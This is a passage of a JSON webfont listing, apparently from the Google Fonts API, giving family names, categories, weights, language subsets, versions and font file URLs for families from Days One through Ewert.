        "regular": "http://fonts.gstatic.com/s/dawningofanewday/v10/t5t_IQMbOp2SEwuncwLRjMfIg1yYit_nAz8bhWJGNoBE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Days One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/daysone/v9/mem9YaCnxnKRiYZOCLYVeLkWVNBt.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Dekko",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/dekko/v6/46khlb_wWjfSrttFR0vsfl1B.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Delius",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/delius/v9/PN_xRfK0pW_9e1rtYcI-jT3L_w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Delius Swash Caps",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/deliusswashcaps/v11/oY1E8fPLr7v4JWCExZpWebxVKORpXXedKmeBvEYs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Delius Unicase",
      "category": "handwriting",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/deliusunicase/v13/845BNMEwEIOVT8BmgfSzIr_6mmLHd-73LXWs.ttf",
        "700": "http://fonts.gstatic.com/s/deliusunicase/v13/845CNMEwEIOVT8BmgfSzIr_6mlp7WMr_BmmlS5aw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Della Respira",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/dellarespira/v7/RLp5K5v44KaueWI6iEJQBiGPRfkSu6EuTHo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Denk One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/denkone/v7/dg4m_pzhrqcFb2IzROtHpbglShon.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Devonshire",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/devonshire/v8/46kqlbDwWirWr4gtBD2BX0Vq01lYAZM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Dhurjati",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/dhurjati/v7/_6_8ED3gSeatXfFiFX3ySKQtuTA2.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Didact Gothic",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/didactgothic/v13/ahcfv8qz1zt6hCC5G4F_P4ASpUySp0LlcyQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Diplomata",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/diplomata/v11/Cn-0JtiMXwhNwp-wKxyfYGxYrdM9Sg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Diplomata SC",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/diplomatasc/v8/buExpoi3ecvs3kidKgBJo2kf-P5Oaiw4cw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Do Hyeon",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/dohyeon/v11/TwMN-I8CRRU2zM86HFE3ZwaH__-C.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Dokdo",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/dokdo/v8/esDf315XNuCBLxLo4NaMlKcH.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Domine",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/domine/v7/L0x8DFMnlVwD4h3RvPCmRSlUig.ttf",
        "700": "http://fonts.gstatic.com/s/domine/v7/L0x_DFMnlVwD4h3pAN-CTQJIg3uuXg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Donegal One",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/donegalone/v7/m8JWjfRYea-ZnFz6fsK9FZRFRG-K3Mud.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Doppio One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/doppioone/v7/Gg8wN5gSaBfyBw2MqCh-lgshKGpe5Fg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Dorsa",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/dorsa/v10/yYLn0hjd0OGwqo493XCFxAnQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Dosis",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v17",
      "lastModified": "2020-02-05",
      "files": {
        "200": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJt7MV3BkFTq4EPw.ttf",
        "300": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJabMV3BkFTq4EPw.ttf",
        "regular": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJN7MV3BkFTq4EPw.ttf",
        "500": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJBbMV3BkFTq4EPw.ttf",
        "600": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJ6bQV3BkFTq4EPw.ttf",
        "700": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJ0LQV3BkFTq4EPw.ttf",
        "800": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJt7QV3BkFTq4EPw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Dr Sugiyama",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/drsugiyama/v9/HTxoL2k4N3O9n5I1boGI7abRM4-t-g7y.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Duru Sans",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/durusans/v13/xn7iYH8xwmSyTvEV_HOxT_fYdN-WZw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Dynalight",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/dynalight/v8/1Ptsg8LOU_aOmQvTsF4ISotrDfGGxA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "EB Garamond",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800",
        "italic",
        "500italic",
        "600italic",
        "700italic",
        "800italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2020-02-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-6_RUA4V-e6yHgQ.ttf",
        "500": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-2fRUA4V-e6yHgQ.ttf",
        "600": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-NfNUA4V-e6yHgQ.ttf",
        "700": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-DPNUA4V-e6yHgQ.ttf",
        "800": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-a_NUA4V-e6yHgQ.ttf",
        "italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7e8QI96WamXgXFI.ttf",
        "500italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7eOQI96WamXgXFI.ttf",
        "600italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7diR496WamXgXFI.ttf",
        "700italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7dbR496WamXgXFI.ttf",
        "800italic": "http://fonts.gstatic.com/s/ebgaramond/v13/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7c8R496WamXgXFI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Eagle Lake",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/eaglelake/v7/ptRMTiqbbuNJDOiKj9wG5O7yKQNute8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "East Sea Dokdo",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/eastseadokdo/v8/xfuo0Wn2V2_KanASqXSZp22m05_aGavYS18y.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Eater",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/eater/v8/mtG04_FCK7bOvpu2u3FwsXsR.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Economica",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/economica/v7/Qw3fZQZaHCLgIWa29ZBrMcgAAl1lfQ.ttf",
        "italic": "http://fonts.gstatic.com/s/economica/v7/Qw3ZZQZaHCLgIWa29ZBbM8IEIFh1fWUl.ttf",
        "700": "http://fonts.gstatic.com/s/economica/v7/Qw3aZQZaHCLgIWa29ZBTjeckCnZ5dHw8iw.ttf",
        "700italic": "http://fonts.gstatic.com/s/economica/v7/Qw3EZQZaHCLgIWa29ZBbM_q4D3x9Vnksi4M7.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Eczar",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/eczar/v8/BXRlvF3Pi-DLmw0iBu9y8Hf0.ttf",
        "500": "http://fonts.gstatic.com/s/eczar/v8/BXRovF3Pi-DLmzXWL8t622v9WNjW.ttf",
        "600": "http://fonts.gstatic.com/s/eczar/v8/BXRovF3Pi-DLmzX6KMt622v9WNjW.ttf",
        "700": "http://fonts.gstatic.com/s/eczar/v8/BXRovF3Pi-DLmzWeKct622v9WNjW.ttf",
        "800": "http://fonts.gstatic.com/s/eczar/v8/BXRovF3Pi-DLmzWCKst622v9WNjW.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "El Messiri",
      "category": "sans-serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "arabic",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/elmessiri/v6/K2F0fZBRmr9vQ1pHEey6AoqKAyLzfWo.ttf",
        "500": "http://fonts.gstatic.com/s/elmessiri/v6/K2F3fZBRmr9vQ1pHEey6On6jJyrYYWOMluQ.ttf",
        "600": "http://fonts.gstatic.com/s/elmessiri/v6/K2F3fZBRmr9vQ1pHEey6OlKkJyrYYWOMluQ.ttf",
        "700": "http://fonts.gstatic.com/s/elmessiri/v6/K2F3fZBRmr9vQ1pHEey6OjalJyrYYWOMluQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Electrolize",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/electrolize/v8/cIf5Ma1dtE0zSiGSiED7AUEGso5tQafB.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Elsie",
      "category": "display",
      "variants": [
        "regular",
        "900"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/elsie/v9/BCanqZABrez54yYu9slAeLgX.ttf",
        "900": "http://fonts.gstatic.com/s/elsie/v9/BCaqqZABrez54x6q2-1IU6QeXSBk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Elsie Swash Caps",
      "category": "display",
      "variants": [
        "regular",
        "900"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/elsieswashcaps/v8/845DNN8xGZyVX5MVo_upKf7KnjK0ferVKGWsUo8.ttf",
        "900": "http://fonts.gstatic.com/s/elsieswashcaps/v8/845ENN8xGZyVX5MVo_upKf7KnjK0RW74DG2HToawrdU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Emblema One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/emblemaone/v8/nKKT-GQ0F5dSY8vzG0rOEIRBHl57G_f_.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Emilys Candy",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/emilyscandy/v7/2EbgL-1mD1Rnb0OGKudbk0y5r9xrX84JjA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Encode Sans",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/encodesans/v4/LDI0apOFNxEwR-Bd1O9uYPvIeeLkl7Iw6yg.ttf",
        "200": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPtkWMLOub458jGL.ttf",
        "300": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPsAW8LOub458jGL.ttf",
        "regular": "http://fonts.gstatic.com/s/encodesans/v4/LDI2apOFNxEwR-Bd1O9uYMOsc-bGkqIw.ttf",
        "500": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPtYWsLOub458jGL.ttf",
        "600": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPt0XcLOub458jGL.ttf",
        "700": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPsQXMLOub458jGL.ttf",
        "800": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPsMX8LOub458jGL.ttf",
        "900": "http://fonts.gstatic.com/s/encodesans/v4/LDIrapOFNxEwR-Bd1O9uYPsoXsLOub458jGL.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Encode Sans Condensed",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_76_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-5a-JLQoFI2KR.ttf",
        "200": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-SY6pByQJKnuIFA.ttf",
        "300": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-LY2pByQJKnuIFA.ttf",
        "regular": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_16_LD37rqfuwxyIuaZhE6cRXOLtm2gfTGgaWNDw8VIw.ttf",
        "500": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-dYypByQJKnuIFA.ttf",
        "600": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-WYupByQJKnuIFA.ttf",
        "700": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-PYqpByQJKnuIFA.ttf",
        "800": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-IYmpByQJKnuIFA.ttf",
        "900": "http://fonts.gstatic.com/s/encodesanscondensed/v4/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-BYipByQJKnuIFA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Encode Sans Expanded",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mx1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpJGKQNicoAbJlw.ttf",
        "200": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpLqCCNIXIwSP0XD.ttf",
        "300": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKOCyNIXIwSP0XD.ttf",
        "regular": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4m_1mF4GcnstG_Jh1QH6ac4hNLeNyeYUqoiIwdAd5Ab.ttf",
        "500": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpLWCiNIXIwSP0XD.ttf",
        "600": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpL6DSNIXIwSP0XD.ttf",
        "700": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKeDCNIXIwSP0XD.ttf",
        "800": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKCDyNIXIwSP0XD.ttf",
        "900": "http://fonts.gstatic.com/s/encodesansexpanded/v4/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKmDiNIXIwSP0XD.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Encode Sans Semi Condensed",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT6oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1T19MFtQ9jpVUA.ttf",
        "200": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1RZ1eFHbdTgTFmr.ttf",
        "300": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Q91uFHbdTgTFmr.ttf",
        "regular": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT4oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG2yR_sVPRsjp.ttf",
        "500": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Rl1-FHbdTgTFmr.ttf",
        "600": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1RJ0OFHbdTgTFmr.ttf",
        "700": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Qt0eFHbdTgTFmr.ttf",
        "800": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Qx0uFHbdTgTFmr.ttf",
        "900": "http://fonts.gstatic.com/s/encodesanssemicondensed/v4/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1QV0-FHbdTgTFmr.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Encode Sans Semi Expanded",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8xOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM-41KwrlKXeOEA.ttf",
        "200": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM0IUCyDLJX6XCWU.ttf",
        "300": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMyYXCyDLJX6XCWU.ttf",
        "regular": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke83OhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TC4o_LyjgOXc.ttf",
        "500": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM34WCyDLJX6XCWU.ttf",
        "600": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM1IRCyDLJX6XCWU.ttf",
        "700": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMzYQCyDLJX6XCWU.ttf",
        "800": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMyoTCyDLJX6XCWU.ttf",
        "900": "http://fonts.gstatic.com/s/encodesanssemiexpanded/v5/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMw4SCyDLJX6XCWU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Engagement",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/engagement/v9/x3dlckLDZbqa7RUs9MFVXNossybsHQI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Englebert",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/englebert/v7/xn7iYH8w2XGrC8AR4HSxT_fYdN-WZw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Enriqueta",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-26",
      "files": {
        "regular": "http://fonts.gstatic.com/s/enriqueta/v9/goksH6L7AUFrRvV44HVTS0CjkP1Yog.ttf",
        "500": "http://fonts.gstatic.com/s/enriqueta/v9/gokpH6L7AUFrRvV44HVrv2mHmNZEq6TTFw.ttf",
        "600": "http://fonts.gstatic.com/s/enriqueta/v9/gokpH6L7AUFrRvV44HVrk26HmNZEq6TTFw.ttf",
        "700": "http://fonts.gstatic.com/s/enriqueta/v9/gokpH6L7AUFrRvV44HVr92-HmNZEq6TTFw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Erica One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ericaone/v10/WBLnrEXccV9VGrOKmGD1W0_MJMGxiQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Esteban",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/esteban/v8/r05bGLZE-bdGdN-GdOuD5jokU8E.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Euphoria Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/euphoriascript/v8/mFTpWb0X2bLb_cx6To2B8GpKoD5ak_ZT1D8x7Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ewert",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
